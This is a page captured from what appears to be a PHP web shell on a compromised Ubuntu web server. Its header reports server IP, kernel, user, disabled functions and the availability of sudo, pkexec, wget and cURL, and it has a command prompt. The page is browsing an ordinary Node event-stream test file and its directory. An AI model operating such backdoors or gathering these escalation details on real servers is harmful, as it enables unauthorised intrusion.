Na}{

Server IP: 161.35.127.59

Your IP: 216.73.216.106

Web Server: Apache/2.4.41 (Ubuntu)

System: Linux webinar 5.4.0-33-generic #37-Ubuntu SMP Thu May 21 12:53:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 7.4.3-4ubuntu2.29

Disable Function: pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, pcntl_unshare, [more...]

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

File Content: `connect.asynct.js`

var es = require('../')
  , it = require('it-is').style('colour')
  , d = require('ubelt')

function makeExamplePipe() {

  return es.connect(
    es.map(function (data, callback) {
      callback(null, data * 2)
    }),
    es.map(function (data, callback) {
      d.delay(callback)(null, data)    
    }),
    es.map(function (data, callback) {
      callback(null, data + 2)
    }))
}

exports['simple pipe'] = function (test) {

  var pipe = makeExamplePipe()

  pipe.on('data', function (data) {
    it(data).equal(18)
    test.done()
  })
  
  pipe.write(8)

}

exports['read array then map'] = function (test) {

  var readThis = d.map(3, 6, 100, d.id) //array of multiples of 3 < 100
    , first = es.readArray(readThis)
    , read = []
    , pipe =
  es.connect(
    first,
    es.map(function (data, callback) {
      callback(null, {data: data})      
    }),
    es.map(function (data, callback) {
      callback(null, {data: data})
    }),
    es.writeArray(function (err, array) {
      it(array).deepEqual(d.map(readThis, function (data) {
        return {data: {data: data}}
      }))
      test.done()  
    })
  )
}

exports ['connect returns a stream'] = function (test) {

  var rw = 
    es.connect(
      es.map(function (data, callback) {
        callback(null, data * 2)      
      }),
      es.map(function (data, callback) {
        callback(null, data * 5)      
      })
    )

  it(rw).has({readable: true, writable: true})

  var array = [190, 24, 6, 7, 40, 57, 4, 6]
    , _array = []
    , c = 
  es.connect(
    es.readArray(array),
    rw,
    es.log('after rw:'),
    es.writeArray(function (err, _array) {
      it(_array).deepEqual(array.map(function (e) { return e * 10 }))
      test.done()
    })
    )
  
}


require('./helper')(module)

Name	Size	Permission
helper	---	0755
connect.asynct.js	1780 bytes	0644
merge.asynct.js	805 bytes	0644
parse.asynct.js	782 bytes	0644
pause.asynct.js	944 bytes	0644
pipeline.asynct.js	1019 bytes	0644
readArray.asynct.js	2142 bytes	0644
readable.asynct.js	4665 bytes	0644
replace.asynct.js	2078 bytes	0644
simple-map.asynct.js	6940 bytes	0644
spec.asynct.js	1693 bytes	0644
split.asynct.js	1226 bytes	0644
stringify.js	237 bytes	0644
writeArray.asynct.js	653 bytes	0644

Command Bosku:

File Content: connect.asynct.js

File Content: `connect.asynct.js`